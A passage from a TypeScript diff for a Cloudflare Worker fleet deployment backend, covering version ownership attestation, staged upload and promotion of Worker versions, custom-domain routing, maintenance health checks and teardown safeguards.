import('./types.js').ApplicationR2Binding, + fence: ExternalMutationFence, + ): Promise { + if (!this.#api.deleteR2Bucket) { + throw new Error('plain Worker route API cannot delete application R2'); + } + const current = await this.findApplicationR2Bucket(resource); + if (!current || current.creationDate !== resource.creationDate) { + throw new Error(`R2 bucket '${resource.bucketName}' ownership changed`); + } + await this.#api.deleteR2Bucket(resource, fence); + if (await this.findApplicationR2Bucket(resource)) { + throw new Error( + `R2 bucket '${resource.bucketName}' remains after delete`, + ); + } + } + + async #deploymentStatus( + spec: DeploymentSpec, + ): Promise { + const status = await this.#api.deploymentStatus(spec.scriptName); + if (!status) return undefined; + const versions = status.versions.map(({ versionId: id, percentage }) => { + if ( + !id || + percentage === undefined || + !Number.isFinite(percentage) || + percentage < 0 + ) { + throw new Error( + 'plain Worker deployment status has an invalid version', + ); + } + return { id, percentage }; + }); + if (versions.length === 0) { + throw new Error('plain Worker deployment status has no versions'); + } + return { versions }; + } + + async #listVersions( + spec: DeploymentSpec, + ): Promise { + return this.#api.listVersions(spec.scriptName); + } + + #plainTextBindings( + version: PlainWorkerVersionDetail, + ): ReadonlyMap { + return new Map( + version.bindings.flatMap((binding) => + binding.type === 'plain-text' && + typeof binding.name === 'string' && + typeof binding.value === 'string' + ? [[binding.name, binding.value] as const] + : [], + ), + ); + } + + async #matchingCandidateIds( + spec: DeploymentSpec, + versions?: readonly PlainWorkerVersionSummary[], + ): Promise { + const digest = deploymentSpecDigest(spec); + const listed = versions ?? (await this.#listVersions(spec)); + if (!listed) return []; + const tagged = listed.filter((version) => version.tag === digest); + const matches: string[] = []; + for (const candidate of tagged) { + const id = candidate.versionId; + if (!id) { + throw new Error('plain Worker version inventory has no version id'); + } + const version = await this.#api.viewVersion(spec.scriptName, id); + const plainText = this.#plainTextBindings(version); + if (plainText.get('FLEET_SPEC_DIGEST') !== digest) { + throw new Error( + `Worker version '${id}' has a mismatched fleet specification digest`, + ); + } + if (plainText.get('FLEET_INGRESS_CONTRACT') === PLAIN_INGRESS_CONTRACT) { + matches.push(id); + } + } + return matches; + } + + async #findCandidate( + spec: DeploymentSpec, + versions?: readonly PlainWorkerVersionSummary[], + ): Promise { + const digest = deploymentSpecDigest(spec); + const matches = await this.#matchingCandidateIds(spec, versions); + if (matches.length > 1) { + throw new Error( + `multiple Worker versions use fleet specification tag '${digest}'`, + ); + } + return matches[0]; + } + + async #expectedCandidate( + spec: DeploymentSpec, + artifactVersion: string, + versions?: readonly PlainWorkerVersionSummary[], + ): Promise { + const listed = versions ?? (await this.#listVersions(spec)); + if (!listed?.some((version) => version.versionId === artifactVersion)) { + throw new Error( + `Worker '${spec.scriptName}' is missing persisted artifact version '${artifactVersion}'`, + ); + } + const version = await this.#api.viewVersion( + spec.scriptName, + artifactVersion, + ); + const plainText = this.#plainTextBindings(version); + if ( + plainText.get('FLEET_SPEC_DIGEST') !== deploymentSpecDigest(spec) || + plainText.get('FLEET_INGRESS_CONTRACT') !== PLAIN_INGRESS_CONTRACT + ) { + throw new Error( + `Worker '${spec.scriptName}' persisted artifact version '${artifactVersion}' has drifted`, + ); + } + return artifactVersion; + } + + #databaseIds(version: PlainWorkerVersionDetail): readonly string[] { + return version.bindings.flatMap((binding) => + binding.type === 'd1' && typeof binding.databaseId === 'string' + ? [binding.databaseId] + : [], + ); + } + + async #assertExistingWorkerIdentity( + spec: DeploymentSpec, + databaseId: string, + deployment: DeploymentStatus, + ): Promise { + if (deployment.versions.length === 0) { + throw new Error( + `refusing to upload over existing Worker '${spec.scriptName}' without a deployed version`, + ); + } + for (const deployed of deployment.versions) { + const version = await this.#api.viewVersion(spec.scriptName, deployed.id); + const plainText = this.#plainTextBindings(version); + const databaseIds = this.#databaseIds(version); + const digest = plainText.get('FLEET_SPEC_DIGEST'); + if ( + databaseIds.length !== 1 || + databaseIds[0] !== databaseId || + plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || + plainText.get('FLEET_ENVIRONMENT') !== spec.environment || + !digest || + !isSha256(digest) + ) { + throw new Error( + `refusing to upload over existing Worker '${spec.scriptName}' with drifted tenant, environment, or D1 ownership`, + ); + } + } + } + + async #attestWorkerOwnership( + spec: DeploymentSpec, + persistedDatabaseId?: string, + ): Promise { + const [status, versions] = await Promise.all([ + this.#deploymentStatus(spec), + this.#listVersions(spec), + ]); + if (!status && (!versions || versions.length === 0)) return undefined; + const candidateId = await this.#findCandidate(spec, versions); + if (!candidateId) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' without its exact fleet specification`, + ); + } + const [version, databaseId] = await Promise.all([ + this.#api.viewVersion(spec.scriptName, candidateId), + persistedDatabaseId + ? Promise.resolve(persistedDatabaseId) + : this.findDatabase(spec).then((database) => database?.id), + ]); + const digest = deploymentSpecDigest(spec); + const plainText = this.#plainTextBindings(version); + const databaseIds = this.#databaseIds(version); + if ( + !databaseId || + databaseIds.length !== 1 || + databaseIds[0] !== databaseId || + plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || + plainText.get('FLEET_ENVIRONMENT') !== spec.environment || + plainText.get('FLEET_SPEC_DIGEST') !== digest + ) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' with drifted tenant, environment, specification, or D1 ownership`, + ); + } + for (const deployed of status?.versions ?? []) { + const deployedVersion = await this.#api.viewVersion( + spec.scriptName, + deployed.id, + ); + const deployedPlainText = this.#plainTextBindings(deployedVersion); + const deployedDatabaseIds = this.#databaseIds(deployedVersion); + const deployedDigest = deployedPlainText.get('FLEET_SPEC_DIGEST'); + if ( + deployedDatabaseIds.length !== 1 || + deployedDatabaseIds[0] !== databaseId || + deployedPlainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || + deployedPlainText.get('FLEET_ENVIRONMENT') !== spec.environment || + !deployedDigest || + !isSha256(deployedDigest) + ) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' with a drifted deployed version`, + ); + } + } + return candidateId; + } + + async #attestPersistedWorkerOwnership( + spec: DeploymentSpec, + databaseId: string, + retainedReleases: readonly ExternalReleaseSnapshot[] | undefined, + activeRelease: ExternalReleaseSnapshot | undefined, + ): Promise { + const allowed = [activeRelease, ...(retainedReleases ?? [])].filter( + (release): release is ExternalReleaseSnapshot => release !== undefined, + ); + if (allowed.length === 0) { + return this.#attestWorkerOwnership(spec, databaseId); + } + const [status, versions] = await Promise.all([ + this.#deploymentStatus(spec), + this.#listVersions(spec), + ]); + if (!status && (!versions || versions.length === 0)) return undefined; + if (!status || status.versions.length === 0) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' without an attestable current deployment`, + ); + } + const releasesByVersion = new Map( + allowed.map((release) => [release.artifactVersion, release]), + ); + for (const deployed of status.versions) { + const release = releasesByVersion.get(deployed.id); + if (!release) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' with a current deployment outside its persisted artifact set`, + ); + } + const version = await this.#api.viewVersion(spec.scriptName, deployed.id); + const plainText = this.#plainTextBindings(version); + const databaseIds = this.#databaseIds(version); + if ( + databaseIds.length !== 1 || + databaseIds[0] !== databaseId || + plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || + plainText.get('FLEET_ENVIRONMENT') !== spec.environment || + plainText.get('FLEET_SPEC_DIGEST') !== release.specDigest || + plainText.get('FLEET_SCHEMA_VERSION') !== + String(release.releaseSchemaVersion) + ) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' with drifted persisted artifact ownership`, + ); + } + } + return status.versions[0]?.id; + } + + async #attestTeardownWorkerOwnership( + spec: DeploymentSpec, + databaseId: string, + retainedReleases: readonly ExternalReleaseSnapshot[] | undefined, + activeRelease: ExternalReleaseSnapshot | undefined, + ): Promise { + const releases = [activeRelease, ...(retainedReleases ?? [])].filter( + (release): release is ExternalReleaseSnapshot => release !== undefined, + ); + const allowed = releases.filter( + (release) => release.physicalScriptName === spec.scriptName, + ); + if (releases.length > 0 && allowed.length === 0) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' without a matching persisted release`, + ); + } + const [status, versions, footprint, namespaceIds] = await Promise.all([ + this.#deploymentStatus(spec), + this.#listVersions(spec), + this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), + this.#api.listDurableObjectNamespaces(spec.scriptName), + ]); + const listed = versions ?? []; + if (!status && listed.length === 0) { + if ( + footprint.scriptPresent || + footprint.customDomains.length > 0 || + footprint.zoneRoutes.length > 0 || + namespaceIds.length > 0 + ) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' with an inconsistent script footprint`, + ); + } + return undefined; + } + if (!status || !footprint.scriptPresent || listed.length === 0) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' without consistent live deployment, version, and provider footprints`, + ); + } + const validInventory = listed.map((version) => { + if (!version.versionId) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' with an invalid version inventory`, + ); + } + return { id: version.versionId, tag: version.tag }; + }); + const listedIds = validInventory.map(({ id }) => id); + if (new Set(listedIds).size !== listedIds.length) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' with a duplicate version inventory`, + ); + } + type ReleaseIdentity = Readonly<{ + specDigest: string; + releaseSchemaVersion: number; + }>; + const desiredIdentity: ReleaseIdentity = { + specDigest: deploymentSpecDigest(spec), + releaseSchemaVersion: spec.schemaVersion, + }; + const viewedVersions = new Map(); + const remember = ( + id: string, + version: PlainWorkerVersionDetail, + ): PlainWorkerVersionDetail => { + viewedVersions.set(id, version); + return version; + }; + const view = async (id: string): Promise => { + const cached = viewedVersions.get(id); + if (cached !== undefined) return cached; + const version = await this.#api.viewVersion(spec.scriptName, id); + return remember(id, version); + }; + const find = async ( + id: string, + ): Promise => { + const cached = viewedVersions.get(id); + if (cached !== undefined) return cached; + const version = await this.#api.findVersion(spec.scriptName, id); + return version ? remember(id, version) : undefined; + }; + const assertIdentity = ( + version: PlainWorkerVersionDetail, + expectedReleases: readonly ReleaseIdentity[], + ): void => { + const plainText = this.#plainTextBindings(version); + const databaseIds = this.#databaseIds(version); + const release = expectedReleases.find( + (candidate) => + candidate.specDigest === plainText.get('FLEET_SPEC_DIGEST') && + String(candidate.releaseSchemaVersion) === + plainText.get('FLEET_SCHEMA_VERSION'), + ); + if ( + !release || + databaseIds.length !== 1 || + databaseIds[0] !== databaseId || + plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || + plainText.get('FLEET_ENVIRONMENT') !== spec.environment || + plainText.get('FLEET_INGRESS_CONTRACT') !== PLAIN_INGRESS_CONTRACT + ) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' with drifted live teardown ownership`, + ); + } + }; + let anchorId: string | undefined; + if (allowed.length > 0) { + for (const release of allowed) { + const anchor = await find(release.artifactVersion); + if (!anchor) continue; + assertIdentity(anchor, [release]); + anchorId = release.artifactVersion; + break; + } + } else { + const taggedAnchor = validInventory.find( + ({ tag }) => tag === desiredIdentity.specDigest, + ); + if (taggedAnchor) { + assertIdentity(await view(taggedAnchor.id), [desiredIdentity]); + anchorId = taggedAnchor.id; + } + } + if (!anchorId) { + throw new Error( + `refusing to mutate Worker '${spec.scriptName}' without a trusted artifact version anchor`, + ); + } + const expectedReleases: readonly ReleaseIdentity[] = + allowed.length > 0 ? allowed : [desiredIdentity]; + for (const deployed of status.versions) { + assertIdentity(await view(deployed.id), expectedReleases); + } + return status.versions[0]?.id; + } + + async assertDatabaseDetached( + spec: DeploymentSpec, + record: FleetRecord, + database: DatabaseReference, + fence: ExternalMutationFence, + ): Promise { + await this.#assertMutationFence(fence); + if ( + record.backend !== this.kind || + record.tenantTag !== spec.tenantTag || + record.environment !== spec.environment || + record.scriptName !== spec.scriptName || + record.databaseName !== spec.databaseName || + record.databaseId !== database.id || + record.databaseName !== database.name || + record.routeHostname !== spec.routeHostname || + record.desiredSpecDigest !== deploymentSpecDigest(spec) + ) { + throw new Error( + `refusing to attest database detachment for mismatched fleet record '${record.tenantTag}:${record.environment}'`, + ); + } + const databaseAttachments = await this.#api.listWorkerDatabaseAttachments( + database.id, + ); + if (databaseAttachments.length > 0) { + throw new Error( + `database '${record.databaseId}' remains attached to ${databaseAttachments + .map( + (attachment) => + `${attachment.plane} Worker '${attachment.scriptName}'`, + ) + .join(', ')}`, + ); + } + const [status, versions, domains, footprint, namespaceIds] = + await Promise.all([ + this.#deploymentStatus(spec), + this.#listVersions(spec), + this.#api.listCustomDomains(), + this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), + this.#api.listDurableObjectNamespaces(spec.scriptName), + ]); + const routeFootprint = domains.filter( + (domain) => + domain.service === spec.scriptName || + domain.hostname.toLowerCase() === spec.routeHostname.toLowerCase(), + ); + const hasProviderVersions = Boolean(versions && versions.length > 0); + if (!status && !hasProviderVersions && !footprint.scriptPresent) { + if ( + routeFootprint.length > 0 || + footprint.customDomains.length > 0 || + footprint.zoneRoutes.length > 0 || + namespaceIds.length > 0 + ) { + throw new Error( + `database '${record.databaseId}' has a residual route or Durable Object namespace footprint`, + ); + } + await this.#assertMutationFence(fence); + return; + } + if (!status && !hasProviderVersions && footprint.scriptPresent) { + throw new Error( + `database '${record.databaseId}' has an ordinary Worker footprint that the provider cannot attest`, + ); + } + if ((status || hasProviderVersions) && !footprint.scriptPresent) { + throw new Error( + `database '${record.databaseId}' has inconsistent authoritative and provider Worker footprints`, + ); + } + let ownedWorker: string | undefined; + try { + ownedWorker = await this.#attestWorkerOwnership(spec, record.databaseId); + } catch (cause) { + throw new Error( + `database '${record.databaseId}' has a foreign or mismatched Worker footprint`, + { cause }, + ); + } + if (!ownedWorker) { + const [ + reconciledStatus, + reconciledVersions, + reconciledDomains, + reconciledFootprint, + reconciledNamespaceIds, + ] = await Promise.all([ + this.#deploymentStatus(spec), + this.#listVersions(spec), + this.#api.listCustomDomains(), + this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), + this.#api.listDurableObjectNamespaces(spec.scriptName), + ]); + const reconciledRoute = reconciledDomains.some( + (domain) => + domain.service === spec.scriptName || + domain.hostname.toLowerCase() === spec.routeHostname.toLowerCase(), + ); + const hasReconciledVersions = Boolean( + reconciledVersions && reconciledVersions.length > 0, + ); + if ( + !reconciledStatus && + !hasReconciledVersions && + !reconciledRoute && + !reconciledFootprint.scriptPresent && + reconciledFootprint.customDomains.length === 0 && + reconciledFootprint.zoneRoutes.length === 0 && + reconciledNamespaceIds.length === 0 + ) { + await this.#assertMutationFence(fence); + return; + } + throw new Error( + `database '${record.databaseId}' detachment changed during attestation`, + ); + } + throw new Error( + `database '${record.databaseId}' remains attached to owned Worker '${spec.scriptName}'`, + ); + } + + async #customDomain( + hostname: string, + ): Promise { + const normalized = hostname.toLowerCase(); + const matches = (await this.#api.listCustomDomains()).filter( + (domain) => domain.hostname.toLowerCase() === normalized, + ); + if (matches.length > 1) { + throw new Error(`custom domain '${hostname}' has duplicate ownership`); + } + return matches[0]; + } + + async #attestPromotionRoute( + spec: DeploymentSpec, + guard: PromotionGuard, + ): Promise { + const current = await this.#customDomain(spec.routeHostname); + if (!current) { + if (!guard.allowUnrouted) { + throw new Error( + `custom domain '${spec.routeHostname}' is unexpectedly absent during promotion`, + ); + } + return undefined; + } + if (!guard.allowedCurrentScriptNames.includes(current.service)) { + throw new Error( + `custom domain '${spec.routeHostname}' is owned by unexpected Worker '${current.service}'`, + ); + } + return current; + } + + async #deployCandidateAtZero( + spec: DeploymentSpec, + candidateId: string, + fence: ExternalMutationFence, + ): Promise { + const current = await this.#deploymentStatus(spec); + if (!current) { + throw new Error( + `existing Worker '${spec.scriptName}' has no active deployment`, + ); + } + if (current.versions.some((version) => version.id === candidateId)) return; + this.#assertMutationDuration(fence); + const outcome = await this.#api.createDeployment( + spec.scriptName, + [ + ...current.versions.map((version) => ({ + versionId: version.id, + percentage: version.percentage, + })), + { versionId: candidateId, percentage: 0 }, + ], + fence, + ); + if (outcome.status === 'failed') { + const reconciled = await this.#deploymentStatus(spec); + if (!reconciled?.versions.some((version) => version.id === candidateId)) { + throw outcome.error; + } + } + } + + #requireMaintenanceDigest( + spec: DeploymentSpec, + maintenance: MaintenanceHealth, + ): void { + const expected = deploymentSpecDigest(spec); + if (maintenance.deploymentSpecDigest !== expected) { + throw new Error( + `maintenance response did not attest fleet specification digest '${expected}'`, + ); + } + } + + async deployWorker( + spec: DeploymentSpec, + database: DatabaseReference, + secrets: DeploymentSecrets, + _platformResources: ExternalPlatformResources | undefined, + fence: ExternalMutationFence, + expectedArtifactVersion?: string, + application?: import('./types.js').ApplicationBindingTopology, + ): Promise<{ artifactVersion: string; created: boolean }> { + if (spec.authoredBy !== 'platform') { + throw new Error( + 'plain Worker backend refuses externally authored Workers', + ); + } + if ( + spec.durableObjectBindings.some( + (binding) => + binding.scriptName !== undefined || + binding.dispatchNamespace !== undefined, + ) + ) { + throw new Error( + 'plain Worker backend supports only local Durable Object bindings', + ); + } + const deployment = await this.#deploymentStatus(spec); + const versions = await this.#listVersions(spec); + const workerExisted = deployment !== undefined || versions !== undefined; + const priorVersionIds = new Set( + (versions ?? []).map((version) => { + if (!version.versionId) { + throw new Error('plain Worker version inventory has no version id'); + } + return version.versionId; + }), + ); + let candidateId = expectedArtifactVersion + ? await this.#expectedCandidate(spec, expectedArtifactVersion, versions) + : undefined; + const pendingDurableObjectMigration = + targetDurableObjectTag(spec) !== spec.previousDurableObjectTag; + if (deployment && pendingDurableObjectMigration) { + throw new Error( + `existing Worker '${spec.scriptName}' has a pending Durable Object lifecycle migration; plain-Worker updates require an immediate/manual migration boundary`, + ); + } + if (deployment) { + await this.#assertExistingWorkerIdentity(spec, database.id, deployment); + } + if ( + candidateId && + deployment?.versions.some((version) => version.id === candidateId) + ) { + return { artifactVersion: candidateId, created: false }; + } + const ingressModule = plainWorkerIngressModule(spec); + const digest = deploymentSpecDigest(spec); + const mode = deployment === undefined ? 'initial' : 'staged'; + let uploadOutcome: PlainWorkerUploadOutcome | undefined; + if (!candidateId) { + this.#assertMutationDuration(fence); + uploadOutcome = await this.#api.uploadCandidate( + { + scriptName: spec.scriptName, + candidateTag: digest, + mainModule: ingressModule.name, + modules: [...spec.modules, ingressModule], + compatibilityDate: spec.compatibilityDate, + compatibilityFlags: spec.compatibilityFlags, + bindings: { + plainText: [ + { name: 'DEPLOYMENT_TENANT', value: spec.tenantTag }, + { name: 'FLEET_ENVIRONMENT', value: spec.environment }, + { + name: 'FLEET_SCHEMA_VERSION', + value: String(spec.schemaVersion), + }, + { name: 'FLEET_SPEC_DIGEST', value: digest }, + { + name: 'FLEET_INGRESS_CONTRACT', + value: PLAIN_INGRESS_CONTRACT, + }, + ...(application?.vars ?? canonicalApplicationBindings(spec).vars), + ], + secrets: [ + { + name: 'DEPLOYMENT_IDENTITY_SECRET', + value: secrets.deploymentIdentity, + }, + { + name: 'MAINTENANCE_ADMIN_SECRET', + value: secrets.maintenanceAdmin, + }, + ...Object.entries(applicationSecretValues(spec, secrets)).map( + ([name, value]) => ({ name, value }), + ), + ], + d1: [ + { + name: 'DB', + databaseName: database.name, + databaseId: database.id, + }, + ], + durableObjects: spec.durableObjectBindings.map((binding) => ({ + name: binding.name, + className: binding.className, + })), + services: spec.egressProxyService + ? [ + { + name: 'EGRESS_PROXY', + service: spec.egressProxyService, + }, + ] + : [], + queueProducers: spec.queueProducer + ? [ + { + name: spec.queueProducer.binding, + queueName: spec.queueProducer.queueName, + }, + ] + : [], + r2Buckets: (application?.r2Buckets ?? []).map((binding) => ({ + name: binding.name, + bucketName: binding.bucketName, + })), + }, + limits: { cpuMs: spec.cpuLimitMs }, + publicAccess: { + workersDevEnabled: true, + previewUrlsEnabled: false, + }, + ...(mode === 'initial' + ? { + mode, + durableObjectMigrations: spec.durableObjectMigrations, + } + : { mode }), + }, + fence, + ); + } + let settled: + | Readonly<{ + ok: true; + result: Readonly<{ artifactVersion: string; created: boolean }>; + }> + | Readonly<{ + ok: false; + error: Readonly<{ + message: string; + cause: unknown; + createdByAttempt: boolean; + resourceState: 'absent' | 'present' | 'unknown'; + }>; + }>; + try { + if (!candidateId) { + const operationCandidates = ( + await this.#matchingCandidateIds(spec) + ).filter((id) => !priorVersionIds.has(id)); + if (operationCandidates.length !== 1) { + if (uploadOutcome?.status === 'failed' && uploadOutcome.error) { + throw uploadOutcome.error; + } + // A falsy rejection value carries no diagnostic; keep the rediscovery + // error (pre-port parity). + throw new Error( + `${mode} Worker upload did not create exactly one new tagged Worker version`, + ); + } + const operationCandidate = operationCandidates[0]; + if (!operationCandidate) { + throw new Error('new Worker candidate has no artifact version'); + } + candidateId = operationCandidate; + } + if (deployment) { + await this.#deployCandidateAtZero(spec, candidateId, fence); + } else { + const initial = await this.#deploymentStatus(spec); + const selected = initial?.versions.find( + (version) => version.id === candidateId, + ); + if (selected?.percentage !== 100) { + throw new Error( + `initial Worker '${spec.scriptName}' did not deploy its tagged version at 100%`, + ); + } + } + settled = { + ok: true, + result: { artifactVersion: candidateId, created: !workerExisted }, + }; + } catch (cause) { + if (workerExisted) { + settled = { + ok: false, + error: { + message: `failed to update existing Worker '${spec.scriptName}'`, + cause, + createdByAttempt: false, + resourceState: 'present', + }, + }; + } else { + const cleanupErrors: unknown[] = []; + const cleanupRelease: ExternalReleaseSnapshot | undefined = candidateId + ? { + physicalScriptName: spec.scriptName, + specDigest: digest, + artifactVersion: candidateId, + releaseSchemaVersion: spec.schemaVersion, + } + : undefined; + let trafficRemoved = false; + try { + await this.removeTraffic( + spec, + undefined, + cleanupRelease, + database, + fence, + ); + await this.assertTrafficRemoved(spec); + trafficRemoved = true; + } catch (cleanupError) { + cleanupErrors.push(cleanupError); + } + if (trafficRemoved) { + try { + await this.revokeCredentials( + spec, + undefined, + cleanupRelease, + database, + fence, + ); + } catch (cleanupError) { + cleanupErrors.push(cleanupError); + } + try { + await this.deleteWorker( + spec, + undefined, + database, + cleanupRelease, + fence, + ); + } catch (cleanupError) { + cleanupErrors.push(cleanupError); + } + } + settled = { + ok: false, + error: + cleanupErrors.length > 0 + ? { + message: `failed to install credentials and clean up '${spec.scriptName}'`, + cause: new AggregateError([cause, ...cleanupErrors]), + createdByAttempt: true, + resourceState: 'unknown', + } + : { + message: `failed to install Worker '${spec.scriptName}'`, + cause, + createdByAttempt: true, + resourceState: 'absent', + }, + }; + } + } + if (!settled.ok) { + const record = settled.error; + const cause = + uploadOutcome?.cleanup.status === 'failed' + ? new AggregateError( + [record.cause, uploadOutcome.cleanup.error], + 'Worker upload and adapter scratch cleanup both failed', + ) + : record.cause; + throw new WorkerDeploymentError({ ...record, cause }); + } + if (uploadOutcome?.cleanup.status === 'failed') { + throw new WorkerDeploymentError({ + message: `installed Worker '${spec.scriptName}' but failed to clean up the adapter credential scratch`, + cause: uploadOutcome.cleanup.error, + createdByAttempt: !workerExisted, + resourceState: 'present', + }); + } + return settled.result; + } + + async promoteWorker( + spec: DeploymentSpec, + guard: PromotionGuard, + _outboundPolicy: DeploymentEgressPolicy | undefined, + fence: ExternalMutationFence, + expectedArtifactVersion?: string, + ): Promise { + if (!expectedArtifactVersion) { + throw new Error( + 'plain Worker promotion requires a persisted artifact version', + ); + } + const candidateId = await this.#expectedCandidate( + spec, + expectedArtifactVersion, + ); + if (!candidateId) { + throw new Error( + `Worker '${spec.scriptName}' has no version for the desired fleet specification`, + ); + } + const current = await this.#deploymentStatus(spec); + if (!current?.versions.some((version) => version.id === candidateId)) { + throw new Error( + `Worker candidate '${candidateId}' is not in the current deployment`, + ); + } + await this.#attestPromotionRoute(spec, guard); + const promoted = + current.versions.length === 1 && + current.versions[0]?.id === candidateId && + current.versions[0].percentage === 100; + if (!promoted) { + this.#assertMutationDuration(fence); + const outcome = await this.#api.createDeployment( + spec.scriptName, + [{ versionId: candidateId, percentage: 100 }], + fence, + ); + if (outcome.status === 'failed') { + const reconciled = await this.#deploymentStatus(spec); + if ( + reconciled?.versions.length !== 1 || + reconciled.versions[0]?.id !== candidateId || + reconciled.versions[0].percentage !== 100 + ) { + throw outcome.error; + } + } + } + const beforeAttach = await this.#attestPromotionRoute(spec, guard); + if (beforeAttach?.service !== spec.scriptName) { + await this.#assertMutationFence(fence); + await this.#api.attachCustomDomain( + { + hostname: spec.routeHostname, + service: spec.scriptName, + }, + fence, + ); + } + const attached = await this.#customDomain(spec.routeHostname); + if (attached?.service !== spec.scriptName) { + throw new Error( + `custom domain '${spec.routeHostname}' did not attest Worker '${spec.scriptName}' after promotion`, + ); + } + } + + async ensureMaintenance( + spec: DeploymentSpec, + maintenanceAdminSecret: string, + fence: ExternalMutationFence, + expectedArtifactVersion?: string, + ): Promise { + if (!expectedArtifactVersion) { + throw new Error( + 'plain Worker maintenance requires a persisted artifact version', + ); + } + const candidateId = await this.#expectedCandidate( + spec, + expectedArtifactVersion, + ); + const current = await this.#deploymentStatus(spec); + if ( + !candidateId || + !current?.versions.some((version) => version.id === candidateId) + ) { + throw new Error('desired Worker candidate is not deployed'); + } + if (this.#maintenanceRequestTimeoutMs >= fence.mutationLeaseTtlMs) { + throw new Error( + 'maintenance request timeout must be below the external mutation fence lease TTL', + ); + } + await this.#assertMutationFence(fence); + const maintenance = await readMaintenanceHealth( + await this.#fetch(maintenanceUrl(spec, '/admin/ensure-maintenance'), { + method: 'POST', + signal: AbortSignal.timeout(this.#maintenanceRequestTimeoutMs), + headers: { + authorization: `Bearer ${maintenanceAdminSecret}`, + 'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="${candidateId}"`, + }, + }), + ); + this.#requireMaintenanceDigest(spec, maintenance); + return maintenance; + } + + async inspect( + spec: DeploymentSpec, + maintenanceAdminSecret: string, + expectedArtifactVersion?: string, + ): Promise { + const status = await this.#deploymentStatus(spec); + if (!status) return undefined; + const candidateId = expectedArtifactVersion + ? await this.#expectedCandidate(spec, expectedArtifactVersion) + : await this.#findCandidate(spec); + const candidateDeployed = + candidateId !== undefined && + status.versions.some((version) => version.id === candidateId); + const active = status.versions.find((version) => version.percentage > 0); + const artifactVersion = candidateDeployed ? candidateId : active?.id; + if (!artifactVersion) { + throw new Error('plain Worker deployment status has no active version'); + } + const version = await this.#api.viewVersion( + spec.scriptName, + artifactVersion, + ); + const databaseIds = this.#databaseIds(version); + const durableObjectBindings = version.bindings.flatMap((binding) => + binding.type === 'durable-object' && + typeof binding.namespaceId === 'string' && + typeof binding.name === 'string' && + typeof binding.className === 'string' + ? [ + { + name: binding.name, + className: binding.className, + namespaceId: binding.namespaceId, + }, + ] + : [], + ); + const serviceBindings = version.bindings.flatMap((binding) => + binding.type === 'service' && + typeof binding.name === 'string' && + typeof binding.service === 'string' + ? [{ name: binding.name, service: binding.service }] + : [], + ); + const queueProducerBindings = version.bindings.flatMap((binding) => + binding.type === 'queue-producer' && + typeof binding.name === 'string' && + typeof binding.queueName === 'string' + ? [{ name: binding.name, queueName: binding.queueName }] + : [], + ); + const r2BucketBindings = version.bindings + .flatMap((binding) => + binding.type === 'r2-bucket' && + typeof binding.name === 'string' && + typeof binding.bucketName === 'string' + ? [ + { + name: binding.name, + bucketName: binding.bucketName, + jurisdiction: 'default' as const, + }, + ] + : [], + ) + .sort((left, right) => left.name.localeCompare(right.name)); + const plainText = this.#plainTextBindings(version); + const expectedServiceBindings = spec.egressProxyService + ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }] + : []; + const expectedQueueProducerBindings = spec.queueProducer + ? [ + { + name: spec.queueProducer.binding, + queueName: spec.queueProducer.queueName, + }, + ] + : []; + if ( + databaseIds.length !== 1 || + plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || + plainText.get('FLEET_ENVIRONMENT') !== spec.environment || + JSON.stringify(serviceBindings) !== + JSON.stringify(expectedServiceBindings) || + JSON.stringify(queueProducerBindings) !== + JSON.stringify(expectedQueueProducerBindings) || + canonicalApplicationBindings(spec).vars.some( + ({ name, value }) => plainText.get(name) !== value, + ) + ) { + throw new Error( + `script '${spec.scriptName}' has a different resource mapping`, + ); + } + const databaseId = databaseIds[0]; + if (!databaseId) throw new Error('D1 binding has no database id'); + const schemaVersion = Number(plainText.get('FLEET_SCHEMA_VERSION')); + const desiredSpecDigest = plainText.get('FLEET_SPEC_DIGEST'); + if ( + !Number.isSafeInteger(schemaVersion) || + !desiredSpecDigest || + !isSha256(desiredSpecDigest) + ) { + throw new Error( + `script '${spec.scriptName}' has no valid schema version`, + ); + } + const versionBindingIdentities = assertSupportedPlainWorkerBindings( + version.bindings, + `plain Worker '${spec.scriptName}'`, + ); + const secretNames = await this.#api.listOrdinaryWorkerSecretNames( + spec.scriptName, + ); + const versionSecretNames = versionBindingIdentities + .filter(({ type }) => type === 'secret_text') + .map(({ name }) => name) + .sort(); + if ( + versionSecretNames.length > 0 && + JSON.stringify(versionSecretNames) !== + JSON.stringify([...secretNames].sort()) + ) { + throw new Error( + `plain Worker '${spec.scriptName}' version and secret inventories disagree`, + ); + } + const providerBindingIdentities = [ + ...versionBindingIdentities.filter(({ type }) => type !== 'secret_text'), + ...secretNames.map((name) => ({ type: 'secret_text', name }) as const), + ].sort((left, right) => + `${left.type}\u0000${left.name}`.localeCompare( + `${right.type}\u0000${right.name}`, + ), + ); + const maintenance = await readMaintenanceHealth( + await this.#fetch(maintenanceUrl(spec, '/admin/maintenance-status'), { + headers: { + authorization: `Bearer ${maintenanceAdminSecret}`, + ...(candidateDeployed + ? { + 'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="${artifactVersion}"`, + } + : {}), + }, + }), + ); + if (candidateDeployed) { + this.#requireMaintenanceDigest(spec, maintenance); + } else if ( + maintenance.deploymentSpecDigest !== undefined && + maintenance.deploymentSpecDigest !== desiredSpecDigest + ) { + throw new Error( + `maintenance response does not match inspected Worker version '${artifactVersion}'`, + ); + } + return { + tenantTag: 